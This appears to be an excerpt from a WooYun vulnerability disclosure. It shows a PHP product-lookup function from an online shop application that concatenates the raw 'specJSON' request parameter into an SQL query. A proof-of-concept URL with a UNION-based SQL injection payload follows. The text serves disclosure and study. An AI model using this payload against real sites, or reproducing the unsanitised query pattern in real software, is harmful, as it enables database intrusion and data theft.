WooYun.org

function getProduct()
{
$jsonData = JSON::decode(IReq::get('specJSON'));//获取
if(!$jsonData)
{
echo JSON::encode(array('flag' => 'fail','message' => '规格值不符合标准'));
exit;
}
$goods_id = IFilter::act(IReq::get('goods_id'),'int');
$specJSON = IReq::get('specJSON');
//获取货品数据
$tb_products = new IModel('products');
//echo "goods_id = ".$goods_id." and spec_array = '".$specJSON."'";
$procducts_info = $tb_products->getObj("goods_id = ".$goods_id." and spec_array = '".$specJSON."'");//受控gpc 直接查询
//匹配到货品数据
if(!$procducts_info)
{
echo JSON::encode(array('flag' => 'fail','message' => '没有找到相关货品'));
exit;
}
//获得会员价
$countsumInstance = new countsum();
$group_price = $countsumInstance->getGroupPrice($procducts_info['id'],'product');
//会员价格
if($group_price !== null)
{
$procducts_info['group_price'] = $group_price;
}
echo JSON::encode(array('flag' => 'success','data' => $procducts_info));
}

http://127.0.0.1/iweb/index.php?controller=site&action=getProduct&specJSON={ "people":"1' and 1=2 union select user(),2,3,4,5,6,7,8,9 and '1'='1"}